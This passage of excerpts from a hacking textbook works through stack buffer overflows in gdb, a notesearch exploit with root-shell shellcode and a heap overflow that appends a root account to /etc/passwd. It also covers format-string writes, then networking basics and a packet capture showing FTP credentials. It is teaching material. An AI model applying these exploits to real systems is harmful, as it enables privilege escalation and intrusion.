0xbffff7e0:				 	0xbffff9b7						0x08048510						0xbffff848						0xb7eafebc
0xbffff7f0:					0x00000002						0xbffff874						0xbffff880						0xb8001898
0xbffff800:					0x00000000						0x00000001						0x00000001						0x00000000
0xbffff810:					0xb7fd6ff4						0xb8000ce0						0x00000000						0xbffff848
(gdb)	x/32xb	0xbffff9b7
0xbffff9b7:					0x41				0x41				0x41				0x41				0x41				0x41				0x41				0x41
0xbffff9bf:					0x41				0x41				0x41				0x41				0x41				0x41				0x41				0x41
0xbffff9c7:					0x41				0x41				0x41				0x41				0x41				0x41				0x41				0x41
0xbffff9cf:					0x41				0x41				0x41				0x41				0x41				0x41				0x00				0x53
(gdb)	x/s	0xbffff9b7
0xbffff9b7:						'A'	<repeats	30	times>	
(gdb)

The	return	address	in	a	stack	frame	can	be	located	by	understanding	how	the
stack	frame	is	created.	This	process	begins	in	the	main()	function,	even	before
the	function	call.

(gdb)	disass	main
Dump	of	assembler	code	for	function	main:
0x08048474	<main+0>:				push			ebp
0x08048475	<main+1>:				mov				ebp,esp
0x08048477	<main+3>:				sub				esp,0x8
0x0804847a	<main+6>:				and				esp,0xfffffff0
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Experimenting	with	BASH
Since	so	much	of	hacking	is	rooted	in	exploitation	and	experimentation,	the	ability
to	quickly	try	different	things	is	vital.	The	BASH	shell	and	Perl	are	common	on
most	machines	and	are	all	that	is	needed	to	experiment	with	exploitation.
Perl	is	an	interpreted	programming	language	with	a	print	command	that	happens
to	be	particularly	suited	to	generating	long	sequences	of	characters.	Perl	can	be
used	to	execute	instructions	on	the	command	line	by	using	the	-e	switch	like	this:

reader@hacking:~/booksrc	$	perl	-e	'print	"A"	x	20;'
AAAAAAAAAAAAAAAAAAAA

This	command	tells	Perl	to	execute	the	commands	found	between	the	single
quotes—in	this	case,	a	single	command	of	print	"A"	x	20;.	This	command	prints
the	character	A	20	times.
Any	character,	such	as	a	nonprintable	character,	can	also	be	printed	by	using
\x##,	where	##	is	the	hexadecimal	value	of	the	character.	In	the	following
example,	this	notation	is	used	to	print	the	character	A,	which	has	the	hexadecimal
value	of	0x41.

reader@hacking:~/booksrc	$	perl	-e	'print	"\x41"	x	20;'
AAAAAAAAAAAAAAAAAAAA

In	addition,	string	concatenation	can	be	done	in	Perl	with	a	period	(.).	This	can	be
useful	when	stringing	multiple	addresses	together.

reader@hacking:~/booksrc	$	perl	-e	'print	"A"x20	.	"BCD"	.	"\x61\x66\x67\x69"x2	.	"Z";'
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ

An	entire	shell	command	can	be	executed	like	a	function,	returning	its	output	in
place.	This	is	done	by	surrounding	the	command	with	parentheses	and	prefixing	a
dollar	sign.	Here	are	two	examples:

reader@hacking:~/booksrc	$	$(perl	-e	'print	"uname";')
Linux
reader@hacking:~/booksrc	$	una$(perl	-e	'print	"m";')e
Linux
reader@hacking:~/booksrc	$

In	each	case,	the	output	of	the	command	found	between	the	parentheses	is
substituted	for	the	command,	and	the	command	uname	is	executed.	This	exact
command-substitution	effect	can	be	accomplished	with	grave	accent	marks	(',	the
tilted	single	quote	on	the	tilde	key).	You	can	use	whichever	syntax	feels	more
natural	for	you;	however,	the	parentheses	syntax	is	easier	to	read	for	most
people.

reader@hacking:~/booksrc	$	u`perl	-e	'print	"na";'`me
Linux
reader@hacking:~/booksrc	$	u$(perl	-e	'print	"na";')me
Linux
reader@hacking:~/booksrc	$
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reader@hacking:~/booksrc	$

In	the	example	above,	the	target	address	of	0x080484bf	is	repeated	10	times	to
ensure	the	return	address	is	overwritten	with	the	new	target	address.	When	the
check_authentication()	function	returns,	execution	jumps	directly	to	the	new
target	address	instead	of	returning	to	the	next	instruction	after	the	call.	This	gives
us	more	control;	however,	we	are	still	limited	to	using	instructions	that	exist	in	the
original	programming.
The	notesearch	program	is	vulnerable	to	a	buffer	overflow	on	the	line	marked	in
bold	here.

int	main(int	argc,	char	*argv[])	{
			int	userid,	printing=1,	fd;	//	File	descriptor
			char	searchstring[100];

			if(argc	>	1)																								//	If	there	is	an	arg
						strcpy(searchstring,	argv[1]);			//			that	is	the	search	string;
			else																																//	otherwise,
						searchstring[0]	=	0;													//			search	string	is	empty.

The	notesearch	exploit	uses	a	similar	technique	to	overflow	a	buffer	into	the
return	address;	however,	it	also	injects	its	own	instructions	into	memory	and	then
returns	execution	there.	These	instructions	are	called	shellcode,	and	they	tell	the
program	to	restore	privileges	and	open	a	shell	prompt.	This	is	especially
devastating	for	the	notesearch	program,	since	it	is	suid	root.	Since	this	program
expects	multiuser	access,	it	runs	under	higher	privileges	so	it	can	access	its	data
file,	but	the	program	logic	prevents	the	user	from	using	these	higher	privileges
for	anything	other	than	accessing	the	data	file—at	least	that's	the	intention.
But	when	new	instructions	can	be	injected	in	and	execution	can	be	controlled	with
a	buffer	overflow,	the	program	logic	is	meaningless.	This	technique	allows	the
program	to	do	things	it	was	never	programmed	to	do,	while	it's	still	running	with
elevated	privileges.	This	is	the	dangerous	combination	that	allows	the	notesearch
exploit	to	gain	a	root	shell.	Let's	examine	the	exploit	further.

reader@hacking:~/booksrc	$	gcc	-g	exploit_notesearch.c
reader@hacking:~/booksrc	$	gdb	-q	./a.out
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb)	list	1
1							#include	<stdio.h>
2							#include	<stdlib.h>
3							#include	<string.h>
4							char	shellcode[]=
5							"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
6							"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
7							"\xe1\xcd\x80";
8
9							int	main(int	argc,	char	*argv[])	{
10									unsigned	int	i,	*ptr,	ret,	offset=270;
(gdb)
11									char	*command,	*buffer;
12
13									command	=	(char	*)	malloc(200);
14									bzero(command,	200);	//	Zero	out	the	new	memory.
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0xbffffd56:						"SHELLCODE=",	'\220'	<repeats	190	times>...

0xbffff9ab:						"\220\220\220\220\220\220\220\220\220\2201ï¿½1ï¿½1ï¿½\231ï¿½ï¿½ï¿½
\200j\vXQh//
shh/bin\211ï¿½Q\211ï¿½S\211ï¿½ï¿½\200"
0xbffff9d9:						"TERM=xterm"
0xbffff9e4:						"DESKTOP_STARTUP_ID="
0xbffff9f8:						"SHELL=/bin/bash"
0xbffffa08:						"GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2"
0xbffffa43:						"WINDOWID=39845969"
0xbffffa55:						"USER=reader"
0xbffffa61:
"LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;
33;01:or=
40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:
*.arj=01
;31:*.taz=0"...
0xbffffb29:
"1;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:
*.rpm=01;3
1:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:
*.ppm=01
;35:*.tga=0"...
(gdb)	x/s	0xbffff8e3
0xbffff8e3:						"SHELLCODE=",	'\220'	<repeats	190	times>...
(gdb)	x/s	0xbffff8e3	+	100
0xbffff947:						'\220'	<repeats	110	times>,	"1ï¿½1ï¿½1ï¿½\231ï¿½ï¿½ï¿½
\200j\vXQh//shh/bin\
211ï¿½Q\211ï¿½S\211ï¿½ï¿½\200"
(gdb)

The	debugger	reveals	the	location	of	the	shellcode,	shown	in	bold	above.	(When
the	program	is	run	outside	of	the	debugger,	these	addresses	might	be	a	little
different.)	The	debugger	also	has	some	information	on	the	stack,	which	shifts	the
addresses	around	a	bit.	But	with	a	200-byte	NOP	sled,	these	inconsistencies
aren't	a	problem	if	an	address	near	the	middle	of	the	sled	is	picked.	In	the	output
above,	the	address	0xbffff947	is	shown	to	be	close	to	the	middle	of	the	NOP	sled,
which	should	give	us	enough	wiggle	room.	After	determining	the	address	of	the
injected	shellcode	instructions,	the	exploitation	is	simply	a	matter	of	overwriting
the	return	address	with	this	address.

reader@hacking:~/booksrc	$	./notesearch	$(perl	-e	'print	"\x47\xf9\xff\xbf"x40')
[DEBUG]	found	a	34	byte	note	for	user	id	999
[DEBUG]	found	a	41	byte	note	for	user	id	999
-------[	end	of	note	data	]-------
sh-3.2#	whoami
root	
sh-3.2#

The	target	address	is	repeated	enough	times	to	overflow	the	return	address,	and
execution	returns	into	the	NOP	sled	in	the	environment	variable,	which	inevitably
leads	to	the	shellcode.	In	situations	where	the	overflow	buffer	isn't	large	enough
to	hold	shellcode,	an	environment	variable	can	be	used	with	a	large	NOP	sled.
This	usually	makes	exploitations	quite	a	bit	easier.
A	huge	NOP	sled	is	a	great	aid	when	you	need	to	guess	at	the	target	return
addresses,	but	it	turns	out	that	the	locations	of	environment	variables	are	easier
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process	should	run.	This	environment	is	presented	in	the	form	of	an	array	of
pointers	to	null-terminated	strings	for	each	environment	variable,	and	the
environment	array	itself	is	terminated	with	a	NULL	pointer.
With	execl(),	the	existing	environment	is	used,	but	if	you	use	execle(),	the
entire	environment	can	be	specified.	If	the	environment	array	is	just	the	shellcode
as	the	first	string	(with	a	NULL	pointer	to	terminate	the	list),	the	only
environment	variable	will	be	the	shellcode.	This	makes	its	address	easy	to
calculate.	In	Linux,	the	address	will	be	0xbffffffa,	minus	the	length	of	the
shellcode	in	the	environment,	minus	the	length	of	the	name	of	the	executed
program.	Since	this	address	will	be	exact,	there	is	no	need	for	a	NOP	sled.	All
that's	needed	in	the	exploit	buffer	is	the	address,	repeated	enough	times	to
overflow	the	return	address	in	the	stack,	as	shown	in	exploit_nosearch_env.c.

exploit_notesearch_env.c

#include	<stdio.h>
#include	<stdlib.h>
#include	<string.h>
#include	<unistd.h>

char	shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int	main(int	argc,	char	*argv[])	{
			char	*env[2]	=	{shellcode,	0};
			unsigned	int	i,	ret;

			char	*buffer	=	(char	*)	malloc(160);

			ret	=	0xbffffffa	-	(sizeof(shellcode)-1)	-	strlen("./notesearch");
			for(i=0;	i	<	160;	i+=4)
						*((unsigned	int	*)(buffer+i))	=	ret;

			execle("./notesearch",	"notesearch",	buffer,	0,	env);
			free(buffer);
}

This	exploit	is	more	reliable,	since	it	doesn't	need	a	NOP	sled	or	any	guesswork
regarding	offsets.	Also,	it	doesn't	start	any	additional	processes.

reader@hacking:~/booksrc	$	gcc	exploit_notesearch_env.c
reader@hacking:~/booksrc	$	./a.out
-------[	end	of	note	data	]-------	
sh-3.2#
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detect	problems	with	the	heap	header	information.	This	makes	heap	unlinking	in
Linux	very	difficult.	However,	this	particular	exploit	doesn't	use	heap	header
information	to	do	its	magic,	so	by	the	time	free()	is	called,	the	program	has
already	been	tricked	into	writing	to	a	new	file	with	root	privileges.

reader@hacking:~/booksrc	$	grep	-B10	free	notetaker.c

			if(write(fd,	buffer,	strlen(buffer))	==	-1)	//	Write	note.
						fatal("in	main()	while	writing	buffer	to	file");
			write(fd,	"\n",	1);	//	Terminate	line.

//	Closing	file
			if(close(fd)	==	-1)
						fatal("in	main()	while	closing	file");

			printf("Note	has	been	saved.\n");
			free(buffer);
			free(datafile);
reader@hacking:~/booksrc	$	ls	-l	./testfile
-rw-------	1	root	reader	118	2007-09-09	16:19	./testfile
reader@hacking:~/booksrc	$	cat	./testfile
cat:	./testfile:	Permission	denied
reader@hacking:~/booksrc	$	sudo	cat	./testfile
?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAAAAAAtestfile
reader@hacking:~/booksrc	$

A	string	is	read	until	a	null	byte	is	encountered,	so	the	entire	string	is	written	to
the	file	as	the	userinput.	Since	this	is	a	suid	root	program,	the	file	that	is	created
is	owned	by	root.	This	also	means	that	since	the	filename	can	be	controlled,	data
can	be	appended	to	any	file.	This	data	does	have	some	restrictions,	though;	it
must	end	with	the	controlled	filename,	and	a	line	with	the	user	ID	will	be	written,
also.
There	are	probably	several	clever	ways	to	exploit	this	type	of	capability.	The	most
apparent	one	would	be	to	append	something	to	the	/etc/passwd	file.	This	file
contains	all	of	the	usernames,	IDs,	and	login	shells	for	all	the	users	of	the	system.
Naturally,	this	is	a	critical	system	file,	so	it	is	a	good	idea	to	make	a	backup	copy
before	messing	with	it	too	much.

reader@hacking:~/booksrc	$	cp	/etc/passwd	/tmp/passwd.bkup
reader@hacking:~/booksrc	$	head	/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
reader@hacking:~/booksrc	$
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login	shell	for	the	password	file	is	also	/tmp/etc/passwd,	making	the	following	a
valid	password	file	line:

myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp/etc/passwd

The	values	of	this	line	just	need	to	be	slightly	modified	so	that	the	portion	before
/etc/passwd	is	exactly	104	bytes	long:

reader@hacking:~/booksrc	$	perl	-e	'print	"myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp"'	|	wc
	-c
38
reader@hacking:~/booksrc	$	perl	-e	'print	"myroot:XXq2wKiyI43A2:0:0:"	.	"A"x50	.
	":/root:/tmp"'
|	wc	-c
86
reader@hacking:~/booksrc	$	gdb	-q
(gdb)	p	104	-	86	+	50
$1	=	68
(gdb)	quit
reader@hacking:~/booksrc	$	perl	-e	'print	"myroot:XXq2wKiyI43A2:0:0:"	.	"A"x68	.
	":/root:/tmp"'

|	wc	-c
104
reader@hacking:~/booksrc	$

If	/etc/passwd	is	added	to	the	end	of	that	final	string	(shown	in	bold),	the	string
above	will	be	appended	to	the	end	of	the	/etc/passwd	file.	And	since	this	line
defines	an	account	with	root	privileges	with	a	password	we	set,	it	won't	be
difficult	to	access	this	account	and	obtain	root	access,	as	the	following	output
shows.

reader@hacking:~/booksrc	$	./notetaker	$(perl	-e	'print	"myroot:XXq2wKiyI43A2:0:0:"
	.	"A"x68	.
":/root:/tmp/etc/passwd"')
[DEBUG]	buffer			@	0x804a008:	'myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd'
[DEBUG]	datafile	@	0x804a070:	'/etc/passwd'
[DEBUG]	file	descriptor	is	3
Note	has	been	saved.
***	glibc	detected	***	./notetaker:	free():	invalid	next	size	(normal):	0x0804a008	***
=======	Backtrace:	=========
/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
./notetaker[0x8048916]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
./notetaker[0x8048511]
=======	Memory	map:	========
08048000-08049000	r-xp	00000000	00:0f	44384						/cow/home/reader/booksrc/notetaker
08049000-0804a000	rw-p	00000000	00:0f	44384						/cow/home/reader/booksrc/notetaker
0804a000-0806b000	rw-p	0804a000	00:00	0										[heap]
b7d00000-b7d21000	rw-p	b7d00000	00:00	0
b7d21000-b7e00000	---p	b7d21000	00:00	0
b7e83000-b7e8e000	r-xp	00000000	07:00	15444						/rofs/lib/libgcc_s.so.1
b7e8e000-b7e8f000	rw-p	0000a000	07:00	15444						/rofs/lib/libgcc_s.so.1
b7e99000-b7e9a000	rw-p	b7e99000	00:00	0
b7e9a000-b7fd5000	r-xp	00000000	07:00	15795						/rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd5000-b7fd6000	r--p	0013b000	07:00	15795						/rofs/lib/tls/i686/cmov/libc-2.5.so
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Format	Strings
A	format	string	exploit	is	another	technique	you	can	use	to	gain	control	of	a
privileged	program.	Like	buffer	overflow	exploits,	format	string	exploits	also	depend
on	programming	mistakes	that	may	not	appear	to	have	an	obvious	impact	on
security.	Luckily	for	programmers,	once	the	technique	is	known,	it's	fairly	easy	to
spot	format	string	vulnerabilities	and	eliminate	them.	Although	format	string
vulnerabilities	aren't	very	common	anymore,	the	following	techniques	can	also	be
used	in	other	situations.

Format	Parameters

You	should	be	fairly	familiar	with	basic	format	strings	by	now.	They	have	been
used	extensively	with	functions	like	printf()	in	previous	programs.	A	function
that	uses	format	strings,	such	as	printf(),	simply	evaluates	the	format	string
passed	to	it	and	performs	a	special	action	each	time	a	format	parameter	is
encountered.	Each	format	parameter	expects	an	additional	variable	to	be	passed,
so	if	there	are	three	format	parameters	in	a	format	string,	there	should	be	three
more	arguments	to	the	function	(in	addition	to	the	format	string	argument).
Recall	the	various	format	parameters	explained	in	the	previous	chapter.

Parameter Input 	Type Output 	Type

%d Value Decimal

%u Value Unsigned	decimal

%x Value Hexadecimal

%s Pointer String

%n Pointer Number	of	bytes	written	so	far

The	previous	chapter	demonstrated	the	use	of	the	more	common	format
parameters,	but	neglected	the	less	common	%n	format	parameter.	The
fmt_uncommon.c	code	demonstrates	its	use.

fmt_uncommon.c

#include	<stdio.h>
#include	<stdlib.h>

int	main()	{
			int	A	=	5,	B	=	7,	count_one,	count_two;

			//	Example	of	a	%n	format	string
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of	the	other	parameter	arguments	are	untouched.	This	method	of	direct	access
eliminates	the	need	to	step	through	memory	until	the	beginning	of	the	format
string	is	located,	since	this	memory	can	be	accessed	directly.	The	following	output
shows	the	use	of	direct	parameter	access.

reader@hacking:~/booksrc	$	./fmt_vuln	AAAA%x%x%x%x
The	right	way	to	print	user-controlled	input:
AAAA%x%x%x%x
The	wrong	way	to	print	user-controlled	input:
AAAAbffff3d0b7fe75fc041414141
[*]	test_val	@	0x08049794	=	-72	0xffffffb8
reader@hacking:~/booksrc	$	./fmt_vuln	AAAA%4\$x
The	right	way	to	print	user-controlled	input:
AAAA%4$x
The	wrong	way	to	print	user-controlled	input:
AAAA41414141
[*]	test_val	@	0x08049794	=	-72	0xffffffb8	
reader@hacking:~/booksrc	$

In	this	example,	the	beginning	of	the	format	string	is	located	at	the	fourth
parameter	argument.	Instead	of	stepping	through	the	first	three	parameter
arguments	using	%x	format	parameters,	this	memory	can	be	accessed	directly.
Since	this	is	being	done	on	the	command	line	and	the	dollar	sign	is	a	special
character,	it	must	be	escaped	with	a	backslash.	This	just	tells	the	command	shell
to	avoid	trying	to	interpret	the	dollar	sign	as	a	special	character.	The	actual
format	string	can	be	seen	when	it	is	printed	correctly.
Direct	parameter	access	also	simplifies	the	writing	of	memory	addresses.	Since
memory	can	be	accessed	directly,	there's	no	need	for	four-byte	spacers	of	junk
data	to	increment	the	byte	output	count.	Each	of	the	%x	format	parameters	that
usually	performs	this	function	can	just	directly	access	a	piece	of	memory	found
before	the	format	string.	For	practice,	let's	use	direct	parameter	access	to	write	a
more	realistic-looking	address	of	0xbffffd72	into	the	variable	test_vals.

reader@hacking:~/booksrc	$	./fmt_vuln	$(perl	-e	'print	"\x94\x97\x04\x08"	.	"\x95\x97\x04\
x08"
.	"\x96\x97\x04\x08"	.	"\x97\x97\x04\x08"')%4\$n
The	right	way	to	print	user-controlled	input:
????????%4$n
The	wrong	way	to	print	user-controlled	input:
????????
[*]	test_val	@	0x08049794	=	16	0x00000010
reader@hacking:~/booksrc	$	gdb	-q
(gdb)	p	0x72	-	16
$1	=	98

(gdb)	p	0xfd	-	0x72
$2	=	139

(gdb)	p	0xff	-	0xfd
$3	=	2
(gdb)	p	0x1ff	-	0xfd
$4	=	258

(gdb)	p	0xbf	-	0xff
$5	=	-64
(gdb)	p	0x1bf	-	0xff
$6	=	192

(gdb)	quit
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will	automatically	search	for	a	default	HTML	document	in	that	directory	of
index.html.	If	the	server	finds	the	resource,	it	will	respond	using	HTTP	by	sending
several	headers	before	sending	the	content.	If	the	command	HEAD	is	used	instead
of	GET,	it	will	only	return	the	HTTP	headers	without	the	content.	These	headers
are	plaintext	and	can	usually	provide	information	about	the	server.	These	headers
can	be	retrieved	manually	using	telnet	by	connecting	to	port	80	of	a	known
website,	then	typing	HEAD	/	HTTP/1.0	and	pressing	ENTER	twice.	In	the	output
below,	telnet	is	used	to	open	a	TCP-IP	connection	to	the	webserver	at
http://www.internic.net.	Then	the	HTTP	application	layer	is	manually	spoken	to
request	the	headers	for	the	main	index	page.

reader@hacking:~/booksrc	$	telnet	www.internic.net	80
Trying	208.77.188.101...
Connected	to	www.internic.net.
Escape	character	is	'^]'.
HEAD	/	HTTP/1.0

HTTP/1.1	200	OK
Date:	Fri,	14	Sep	2007	05:34:14	GMT
Server:	Apache/2.0.52	(CentOS)
Accept-Ranges:	bytes
Content-Length:	6743
Connection:	close
Content-Type:	text/html;	charset=UTF-8

Connection	closed	by	foreign	host.
reader@hacking:~/booksrc	$

This	reveals	that	the	webserver	is	Apache	version	2.0.52	and	even	that	the	host
runs	CentOS.	This	can	be	useful	for	profiling,	so	let's	write	a	program	that
automates	this	manual	process.
The	next	few	programs	will	be	sending	and	receiving	a	lot	of	data.	Since	the
standard	socket	functions	aren't	very	friendly,	let's	write	some	functions	to	send
and	receive	data.	These	functions,	called	send_string()	and	recv_line(),	will	be
added	to	a	new	include	file	called	hacking-network.h.
The	normal	send()	function	returns	the	number	of	bytes	written,	which	isn't
always	equal	to	the	number	of	bytes	you	tried	to	send.	The	send_string()
function	accepts	a	socket	and	a	string	pointer	as	arguments	and	makes	sure	the
entire	string	is	sent	out	over	the	socket.	It	uses	strlen()	to	figure	out	the	total
length	of	the	string	passed	to	it.
You	may	have	noticed	that	every	packet	the	simple	server	received	ended	with
the	bytes	0x0D	and	0x0A.	This	is	how	telnet	terminates	the	lines—it	sends	a
carriage	return	and	a	newline	character.	The	HTTP	protocol	also	expects	lines	to
be	terminated	with	these	two	bytes.	A	quick	look	at	an	ASCII	table	shows	that
0x0D	is	a	carriage	return	('\r')	and	0x0A	is	the	newline	character	('\n').

reader@hacking:~/booksrc	$	man	ascii	|	egrep	"Hex|0A|0D"
Reformatting	ascii(7),	please	wait...
							Oct			Dec			Hex			Char																								Oct			Dec			Hex			Char
							012			10				0A				LF		'\n'	(new	line)									112			74				4A				J
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If	the	first	system	wants	to	establish	a	TCP	connection	over	IP	to	the	second
device's	IP	address	of	10.10.10.50,	the	first	system	will	first	check	its	ARP	cache
to	see	if	an	entry	exists	for	10.10.10.50.	Since	this	is	the	first	time	these	two
systems	are	trying	to	communicate,	there	will	be	no	such	entry,	and	an	ARP
request	will	be	sent	out	to	the	broadcast	address,	saying,	"If	you	are	10.10.10.50,
please	respond	to	me	at	00:00:00:aa:aa:aa."	Since	this	request	uses	the
broadcast	address,	every	system	on	the	network	sees	the	request,	but	only	the
system	with	the	corresponding	IP	address	is	meant	to	respond.	In	this	case,	the
second	system	responds	with	an	ARP	reply	that	is	sent	directly	back	to
00:00:00:aa:aa:aa	saying,	"I	am	10.10.10.50	and	I'm	at	00:00:00:bb:bb:bb."
The	first	system	receives	this	reply,	caches	the	IP	and	MAC	address	pair	in	its	ARP
cache,	and	uses	the	hardware	address	to	communicate.

Network	Layer

The	network	layer	is	like	a	worldwide	postal	service	providing	an	addressing	and
delivery	method	used	to	send	things	everywhere.	The	protocol	used	at	this	layer
for	Internet	addressing	and	delivery	is,	appropriately,	called	Internet	Protocol
(IP);	the	majority	of	the	Internet	uses	IP	version	4.
Every	system	on	the	Internet	has	an	IP	address,	consisting	of	a	familiar	four-byte
arrangement	in	the	form	of	xx.xx.xx.xx.	The	IP	header	for	packets	in	this	layer	is
20	bytes	in	size	and	consists	of	various	fields	and	bitflags	as	defined	in	RFC	791.

From	RFC	791

[Page	10]
September	1981
																																																							Internet	Protocol
																											3.		SPECIFICATION

3.1.		Internet	Header	Format

		A	summary	of	the	contents	of	the	internet	header	follows:

				0																			1																			2																			3
				0	1	2	3	4	5	6	7	8	9	0	1	2	3	4	5	6	7	8	9	0	1	2	3	4	5	6	7	8	9	0	1
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|Version|		IHL		|Type	of	Service|										Total	Length									|
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|									Identification								|Flags|						Fragment	Offset				|
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|		Time	to	Live	|				Protocol			|									Header	Checksum							|
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|																							Source	Address																										|
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|																				Destination	Address																								|
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|																				Options																				|				Padding				|
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

																				Example	Internet	Datagram	Header
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at	the	transport	layer.

Transport	Layer

The	transport	layer	can	be	thought	of	as	the	first	line	of	office	receptionists,
picking	up	the	mail	from	the	network	layer.	If	a	customer	wants	to	return	a
defective	piece	of	merchandise,	they	send	a	message	requesting	a	Return
Material	Authorization	(RMA)	number.	Then	the	receptionist	would	follow	the
return	protocol	by	asking	for	a	receipt	and	eventually	issuing	an	RMA	number	so
the	customer	can	mail	the	product	in.	The	post	office	is	only	concerned	with
sending	these	messages	(and	packages)	back	and	forth,	not	with	what's	in	them.
The	two	major	protocols	at	this	layer	are	the	Transmission	Control	Protocol	(TCP)
and	User	Datagram	Protocol	(UDP).	TCP	is	the	most	commonly	used	protocol	for
services	on	the	Internet:	telnet,	HTTP	(web	traffic),	SMTP	(email	traffic),	and	FTP
(file	transfers)	all	use	TCP.	One	of	the	reasons	for	TCP's	popularity	is	that	it
provides	a	transparent,	yet	reliable	and	bidirectional,	connection	between	two	IP
addresses.	Stream	sockets	use	TCP/IP	connections.	A	bidirectional	connection
with	TCP	is	similar	to	using	a	telephone—after	dialing	a	number,	a	connection	is
made	through	which	both	parties	can	communicate.	Reliability	simply	means	that
TCP	will	ensure	that	all	the	data	will	reach	its	destination	in	the	proper	order.	If
the	packets	of	a	connection	get	jumbled	up	and	arrive	out	of	order,	TCP	will	make
sure	they're	put	back	in	order	before	handing	the	data	up	to	the	next	layer.	If
some	packets	in	the	middle	of	a	connection	are	lost,	the	destination	will	hold	on	to
the	packets	it	has	while	the	source	retransmits	the	missing	packets.
All	of	this	functionality	is	made	possible	by	a	set	of	flags,	called	TCP	flags,	and	by
tracking	values	called	sequence	numbers.	The	TCP	flags	are	as	follows:

TCP	flag Meaning Purpose

URG Urgent Identifies	important	data

ACK Acknowledgment Acknowledges	a	packet;	it	is	turned	on	for	the	majority	of	the	connection

PSH Push Tells	the	receiver	to	push	the	data	through	instead	of	buffering	it

RST Reset Resets	a	connection

SYN Synchronize Synchronizes	sequence	numbers	at	the	beginning	of	a	connection

FIN Finish Gracefully	closes	a	connection	when	both	sides	say	goodbye

These	flags	are	stored	in	the	TCP	header	along	with	the	source	and	destination
ports.	The	TCP	header	is	specified	in	RFC	793.

From	RFC	793
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0x0000			4510	0040	9670	4000	4006	21b0	c0a8	00c1								E..@.p@.@.!.....
0x0010			c0a8	0076	800a	0015	5ed4	9ce8	292e	8a9c								...v....^...)...
0x0020			8018	16d0	edd9	0000	0101	080a	000e	0f5a								...............Z
0x0030			0007	1f78	5553	4552	206c	6565	6368	0d0a								...xUSER.leech..
21:27:52.415487	192.168.0.118.ftp	>	192.168.0.193.32778:	P	42:76(34)	ack	13
win	17304	<nop,nop,timestamp	466885	921434>	(DF)
0x0000			4500	0056	e0ac	4000	8006	976d	c0a8	0076								E..V..@....m...v
0x0010			c0a8	00c1	0015	800a	292e	8a9c	5ed4	9cf4								........)...^...
0x0020			8018	4398	4e2c	0000	0101	080a	0007	1fc5								..C.N,..........
0x0030			000e	0f5a	3333	3120	5061	7373	776f	7264								...Z331.Password
0x0040			2072	6571	7569	7265	6420	666f	7220	6c65								.required.for.le
0x0050			6563																																											ec
21:27:52.415832	192.168.0.193.32778	>	192.168.0.118.ftp:	.	ack	76	win	5840
<nop,nop,timestamp	921435	466885>	(DF)	[tos	0x10]
0x0000			4510	0034	9671	4000	4006	21bb	c0a8	00c1								E..4.q@.@.!.....
0x0010			c0a8	0076	800a	0015	5ed4	9cf4	292e	8abe								...v....^...)...
0x0020			8010	16d0	7e5b	0000	0101	080a	000e	0f5b								....~[.........[
0x0030			0007	1fc5																																						....
21:27:56.155458	192.168.0.193.32778	>	192.168.0.118.ftp:	P	13:27(14)	ack	76
win	5840	<nop,nop,timestamp	921809	466885>	(DF)	[tos	0x10]
0x0000			4510	0042	9672	4000	4006	21ac	c0a8	00c1								E..B.r@.@.!.....
0x0010			c0a8	0076	800a	0015	5ed4	9cf4	292e	8abe								...v....^...)...
